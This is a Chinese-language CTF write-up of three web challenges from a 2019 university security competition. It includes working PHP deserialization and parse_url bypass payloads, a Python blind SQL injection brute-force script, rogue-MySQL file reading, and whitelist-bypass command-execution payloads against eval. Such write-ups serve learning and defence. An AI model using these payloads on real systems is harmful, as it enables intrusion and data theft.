2019 全國大學生信息安全競賽創新能力實踐賽3道Web Writeup

0x01 JustSoso

本題的主要知識點在于反序列化的應用和parse_url()函數的解析問題,首先通過網頁源碼中的文件讀取提示讀取得到index.php文件源碼和hint文件源碼,任意文件讀取就不做介紹了。
index.php

<html>
<?php
error_reporting(0); 
$file = $_GET["file"]; 
$payload = $_GET["payload"];
if(!isset($file)){
    echo 'Missing parameter'.'<br>';
}
if(preg_match("/flag/",$file)){
    die('hack attacked!!!');
}
@include($file);
print_r($payload);
if(isset($payload)){  
    $url = parse_url($_SERVER['REQUEST_URI']);
    parse_str($url['query'],$query);
    foreach($query as $value){
        if (preg_match("/flag/",$value)) { 
            die('stop hacking!');
            exit();
        }
    }
    $payload = unserialize($payload);
}else{ 
   echo "Missing parameters"; 
}
?>
<!--Please test index.php?file=xxx.php -->
<!--Please get the source of hint.php-->
</html>

hint.php

<?php
class Handle
{
    private $handle;
    public function __wakeup()
    {
        foreach (get_object_vars($this) as $k => $v) {
            $this->$k = null;
        }
        echo "Waking up\n";
    }
    public function __construct($handle)
    {
        $this->handle = $handle;
    }
    public function __destruct()
    {
        $this->handle->getFlag();
    }
}

class Flag
{
    public $file;
    public $token;
    public $token_flag;

    public function __construct($file)
    {
        $this->file = $file;
        $this->token_flag = $this->token = md5(rand(1, 10000));
    }

    public function getFlag()
    {
        $this->token_flag = md5(rand(1, 10000));
        if ($this->token === $this->token_flag) {
            if (isset($this->file)) {
                echo @highlight_file($this->file, true);
            }
        }
    }
}
?>

在index.php中的反序列化函數unserialize()加上hint.php文件,很顯然是通過反序列化的方式來讀取flag.php文件,先不看unserialize()前的過濾規則,對hint.php進行序列化構造。而在hint.php文件中,主要觸發echo @highlight_file($this->file, true),而觸發要解決的主要是 $this->token == $this->token_flag的問題,實例化Handle后,$handle是可控的,并且類Handle中的魔術方法__destruct會觸發Flag類中的getFlag()函數所以我們只需要利用$handle來給Flag類中的變量賦值即可。而對于token和token_flag值的比較,可以采用引用的方法進行繞過,即$this->token = &$this->token_flag;所以最終構造為:

<?php
class Handle
{
    private $handle;
    public function __wakeup()
    {
        foreach (get_object_vars($this) as $k => $v) {
            $this->$k = null;
        }
        echo "Waking up\n";
    }
    public function __construct($handle)
    {
        $this->handle = $handle;
    }
    public function __destruct()
    {
        $this->handle->getFlag();
    }
}

class Flag
{
    public $file;
    public $token;
    public $token_flag;

    public function __construct($file)
    {
        $this->file = $file;
        $this->token_flag = $this->token = md5(rand(1, 10000));
    }

    public function getFlag()
    {
        $this->token_flag = md5(rand(1, 10000));
        if ($this->token === $this->token_flag) {
            if (isset($this->file)) {
                echo @highlight_file($this->file, true);
            }
        }
    }
}
$Flag = new Flag();
$Flag->file = "flag.php";
$Flag->token = &$Flag->token_flag;
$test = new Handle($Flag);
echo urlencode(serialize($test));
?>

生成序列化數據,由于序列化后有不可見字符,所以利用urlencode函數進行編碼輸出為

O%3A6%3A%22Handle%22%3A1%3A%7Bs%3A14%3A%22%00Handle%00handle%22%3BO%3A4%3A%22Flag%22%3A3%3A%7Bs%3A4%3A%22file%22%3Bs%3A8%3A%22flag.php%22%3Bs%3A5%3A%22token%22%3Bs%3A32%3A%2262e7f2e090fe150ef8deb4466fdc81b3%22%3Bs%3A10%3A%22token_flag%22%3BR%3A4%3B%7D%7D

本地測試成功后,接下來就是繞過index.php文件中的過濾代碼:

index.php

取出域名后完整地址路勁傳遞給變量%url,其實也就是只要參數中,即序列化數據中存在flag字符就die了,這里利用parse_url函數的解析特性,即利用’///’進行繞過$url過濾,parse_url函數解析'///'時會返回false,從而可以直接繞過過濾規則,最后在繞一下__wakeup函數就好了,最終payload為:http://84e854e3a8db40e29b9958ff3e816a31f8a75c76067c4667.changame.ichunqiu.com///?file=hint.php&payload=O%3A6%3A%22Handle%22%3A2%3A%7Bs%3A14%3A%22%00Handle%00handle%22%3BO%3A4%3A%22Flag%22%3A3%3A%7Bs%3A4%3A%22file%22%3Bs%3A8%3A%22flag.php%22%3Bs%3A5%3A%22token%22%3Bs%3A32%3A%2264d52e08cc03e6090bc1ef30b73ccb85%22%3Bs%3A10%3A%22token_flag%22%3BR%3A4%3B%7D%7D

flag

FLAG值:

flag{7e4d5d48-44a9-4a91-b6aa-bd6b659d1bde}

0x02 全宇宙最簡單的SQL

既然是SQL注入,那么首先肯定是先查看注入點,fuzz發現過濾or、if等,并且能夠判斷當我們輸入的payload能夠拼接出的SQL語句執行成功時,網頁返回的是“登陸失敗”,而當拼接出的SQL語句執行錯誤時,網頁返回“數據庫操作失敗”
所以,使用pow函數以及&&構造sql語句進行判斷

a' && 1=1 && pow(9.99999999)
a' && 1=2 && pow(9.99999999)

當前面的判斷條件為假時,數據庫就不會執行后面的pow函數,否則就會執行,當pow參數為pow(9,99999999)時,就會因為數字過大而報錯,于是利用這一點構造注入語句對數據庫名進行暴破


數據庫名

得到的數據庫名為ctf,然后由于or被過濾,無法查看information_schema,但是可以猜出表名為user,測試后確定用戶名為admin,所以既然不能夠直接爆出flag那就暴破出密碼登入進行查看,構造腳本進行爆破

#coding=UTF-8

import requests

result = ''
url = 'http://728b6208b313404eba7b7712cc1c3aa203c6e16dcc7a4425.changame.ichunqiu.com/'
#payload = 'no=1 or if((ascii(substr(({sql}),{list},1))={num}),1,0)'
#payload = '''a' and ascii(mid({sql},{list},1))={num} and pow(9,9999999999)#'''
payload = "a' && (select * from ctf.user limit 1) > ('admin','{password}') && pow(9,9999999999)#"
#cookies = {'PHPSESSID':'15lkeifat78j9p81p7k0igq7n2'}

password = ''
for i in xrange(1,50):
    for j in xrange(32,126):
        #hh = payload.format(sql='database()',list=str(i),num=str(j)) #ctf
        hh = payload.format(password = str(password + chr(j))) #ctf
        #hh = payload.format(sql='select count(*) from information_schema.tables',list=str(i),num=str(j))
        #hh = payload.format(sql="select table_name from information_schema.tables where table_schema='ctf'",list=str(i),num=str(j))
        #hh = payload.format(sql='select * from ctf.f14g',list=str(i),num=str(j))
        print hh
        data = {'username':hh,'password':'123'}
        #print hh
        try:
            zz = requests.post(url,data=data)
            #print zz.content
            if '數據庫操作失敗' in zz.content:
                pass
            else:
                password += chr(j-1)
                print password
                break
        except:
            continue
password

但是這中寫法是判斷不出大小寫的,嘗試修改判斷大小寫后,爆出密碼為:F1AG@1s-at_/fll1llag_h3r3,使用用戶名密碼登陸進去竟然還有一層

登入后頁面

看到這個“你可以在這里對遠程數據庫進行操作”,于是想到最近的一個mysql的安全問題:Rogue-MySql-Server,并且最近的DDCTF也出了這個問題的題目。并且github上mysqlserver偽造的項目:https://github.com/Gifts/Rogue-MySql-Server,在vps上跑腳本即可,并且上面得到的密碼也有暗示,flag在文件fll1llag_h3r3中,查看下mysql.log。

flag

FLAG值:

flag{3f4abe8b-aa4a-bb48-c2f9f04d045beade}

0x02 love math

這題真的做了一天,到最后這題只有50多分了,真的是在下老了。
最開始發現可以計算還以為以為是SSTI......,查看網頁源碼可以拿到calc.php文件的源碼:

 <?php
error_reporting(0);
//聽說你很喜歡數學,不知道你是否愛它勝過愛flag
if(!isset($_GET['c'])){
    show_source(__FILE__);
}else{
    //例子 c=20-1
    $content = $_GET['c'];
    if (strlen($content) >= 80) {
        die("太長了不會算");
    }
    $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];
    foreach ($blacklist as $blackitem) {
        if (preg_match('/' . $blackitem . '/m', $content)) {
            die("請不要輸入奇奇怪怪的字符");
        }
    }
    //常用數學函數http://www.w3school.com.cn/php/php_ref_math.asp
    $whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
    preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);
    foreach ($used_funcs[0] as $func) {
        if (!in_array($func, $whitelist)) {
            die("請不要輸入奇奇怪怪的函數");
        }
    }
    //幫你算出答案
    eval('echo '.$content.';');
}

反正該ban的都ban了,也就是沒法直接繞過正則,這題的意思就很明顯了,就是需要應用給的math函數來進行構造,函數內的參數不可出現一些特殊字符和英文字符,查看官方文檔可以發現base_convert可以進行2到36進制間的轉換,所以最開始的思路是利用base_convert將payload進行進制轉化,即轉換為自由數字的字符串就行,即可構造出任意函數,構造system(ls)進行測試。
利用payload:base_convert(1751504350,10,36)(base_convert(784,10,36)),列出/html/根目錄,看到目錄列出來的時候大喜,感覺一血就在眼前,然后gg了。
由于特殊字符無法進行36進制和10進制間的轉換,所以想要直接按前面的payload構造system(cat f*)是不可能的,后來是將exec(cat f*)中的‘cat f*’轉換為16進制,再轉換為10進制,利用dechex函數和hex2bin函數進行還原,hex2bin利用base_convert轉換為10進制,就這個地方卡死了,因為80位長度的限制,我最短也就構造了81位,真的是難受。
剛好之前有接觸過rand^(x).(x)的操作,通過異或可以構造出大寫英文字符,所以想著能不能拼接一個$_GET或者$_POST出來,就不要考慮代碼里的限制了,最終利用rand^(7).(5)構造出了’ET’,用is_nan^(6).(4)構造出了’_G’,在拼接起來就構造出了_GET,思路就是將$content構造為$_GET[a]( $_GET[b]),a參數構造為system函數,b參數當作system函數的參數,即可繞過限制,執行任意命令。關鍵是將_GET構造成$_GET函數,在本地配置測試環境

注釋代碼進行測試

構造payload:http://192.168.44.129/web2.php?c=2333;$_GET%5ba%5d($_GET%5bb%5d)&a=system&b=ls

本地測試環境

所以接下主要要解決的就是構造$_GET,正則上不會過濾MATH函數名、大括號等,所以可以利用這點用來構造變量覆蓋來從而構造payload,其中中括號[]可以用大括號替代,最終構造:$cos=(is_nan^(6).(4)).(rand^(7).(5));$$cos{atan}($$cos{atanh}),即$cos=’_GET’,$$cos覆蓋后為$_GET,所以通過變量覆蓋后最終為$_GET{atan}($_GET{atanh}),所以直接給參數atan和atanh賦值,可以實現任意代碼執行,最終構造:2333333;$cos=(is_nan^(6).(4)).(rand^(7).(5));$$cos{atan}($$cos{atanh})&atan=system&atanh=cat flag.php,其中2333333;用于閉合echo,不過不閉合也可以的,便可得到flag。
后來繼續測試了一下,發現利用exec(nl *)進行縮短竟然可以縮到79位(吐血)!!!......這里直接貼縮的payload:base_convert(47138,20,36)(base_convert(1438255411,14,34)(dechex(474260465194))),其中hex2bin進行14/34進制的轉換,exec進行20/36進制的轉換就可以達到79位。
這道題的解法比較多,比如在構造$cos=(is_nan^(6).(4)).(rand^(7).(5));$$cos{atan}($$cos{atanh})時,$$cos{atan}可以直接利用base_convert函數將system或者eval進行10/36進制轉換進行利用。
如果沒有過濾反引號,其實會簡單很多,可以參考P神的:無字母數字Webshell之提高篇 閉合前一段<?php,利用<?=開辟代碼,通過'`. /???/???/????/????.????`'來打印文件內容,詳細的可以本地測試調試不做過多說明。

FLAG值:
flag{86fed0d1-42ec-46ba-83ee-7dedd09303fb}

0x03 RefSpace

路走錯了,跑去逆向文件了。這個還是等大佬的wp了

個人覺得Web沒那么簡單,被刷到兩位數的分有點意外到,不多說。

最后編輯于
?著作權歸作者所有,轉載或內容合作請聯系作者
平臺聲明:文章內容(如有圖片或視頻亦包括在內)由作者上傳并發布,文章內容僅代表作者本人觀點,簡書系信息發布平臺,僅提供信息存儲服務。
  • 序言:七十年代末,一起剝皮案震驚了整個濱河市,隨后出現的幾起案子,更是在濱河造成了極大的恐慌,老刑警劉巖,帶你破解...
    沈念sama閱讀 227,748評論 6 531
  • 序言:濱河連續發生了三起死亡事件,死亡現場離奇詭異,居然都是意外死亡,警方通過查閱死者的電腦和手機,發現死者居然都...
    沈念sama閱讀 98,165評論 3 414
  • 文/潘曉璐 我一進店門,熙熙樓的掌柜王于貴愁眉苦臉地迎上來,“玉大人,你說我怎么就攤上這事。” “怎么了?”我有些...
    開封第一講書人閱讀 175,595評論 0 373
  • 文/不壞的土叔 我叫張陵,是天一觀的道長。 經常有香客問我,道長,這世上最難降的妖魔是什么? 我笑而不...
    開封第一講書人閱讀 62,633評論 1 309
  • 正文 為了忘掉前任,我火速辦了婚禮,結果婚禮上,老公的妹妹穿的比我還像新娘。我一直安慰自己,他們只是感情好,可當我...
    茶點故事閱讀 71,435評論 6 405
  • 文/花漫 我一把揭開白布。 她就那樣靜靜地躺著,像睡著了一般。 火紅的嫁衣襯著肌膚如雪。 梳的紋絲不亂的頭發上,一...
    開封第一講書人閱讀 54,943評論 1 321
  • 那天,我揣著相機與錄音,去河邊找鬼。 笑死,一個胖子當著我的面吹牛,可吹牛的內容都是我干的。 我是一名探鬼主播,決...
    沈念sama閱讀 43,035評論 3 440
  • 文/蒼蘭香墨 我猛地睜開眼,長吁一口氣:“原來是場噩夢啊……” “哼!你這毒婦竟也來了?” 一聲冷哼從身側響起,我...
    開封第一講書人閱讀 42,175評論 0 287
  • 序言:老撾萬榮一對情侶失蹤,失蹤者是張志新(化名)和其女友劉穎,沒想到半個月后,有當地人在樹林里發現了一具尸體,經...
    沈念sama閱讀 48,713評論 1 333
  • 正文 獨居荒郊野嶺守林人離奇死亡,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內容為張勛視角 年9月15日...
    茶點故事閱讀 40,599評論 3 354
  • 正文 我和宋清朗相戀三年,在試婚紗的時候發現自己被綠了。 大學時的朋友給我發了我未婚夫和他白月光在一起吃飯的照片。...
    茶點故事閱讀 42,788評論 1 369
  • 序言:一個原本活蹦亂跳的男人離奇死亡,死狀恐怖,靈堂內的尸體忽然破棺而出,到底是詐尸還是另有隱情,我是刑警寧澤,帶...
    沈念sama閱讀 38,303評論 5 358
  • 正文 年R本政府宣布,位于F島的核電站,受9級特大地震影響,放射性物質發生泄漏。R本人自食惡果不足惜,卻給世界環境...
    茶點故事閱讀 44,034評論 3 347
  • 文/蒙蒙 一、第九天 我趴在偏房一處隱蔽的房頂上張望。 院中可真熱鬧,春花似錦、人聲如沸。這莊子的主人今日做“春日...
    開封第一講書人閱讀 34,412評論 0 25
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽。三九已至,卻和暖如春,著一層夾襖步出監牢的瞬間,已是汗流浹背。 一陣腳步聲響...
    開封第一講書人閱讀 35,664評論 1 280
  • 我被黑心中介騙來泰國打工, 沒想到剛下飛機就差點兒被人妖公主榨干…… 1. 我叫王不留,地道東北人。 一個月前我還...
    沈念sama閱讀 51,408評論 3 390
  • 正文 我出身青樓,卻偏偏與公主長得像,于是被迫代替她去往敵國和親。 傳聞我的和親對象是個殘疾皇子,可洞房花燭夜當晚...
    茶點故事閱讀 47,747評論 2 370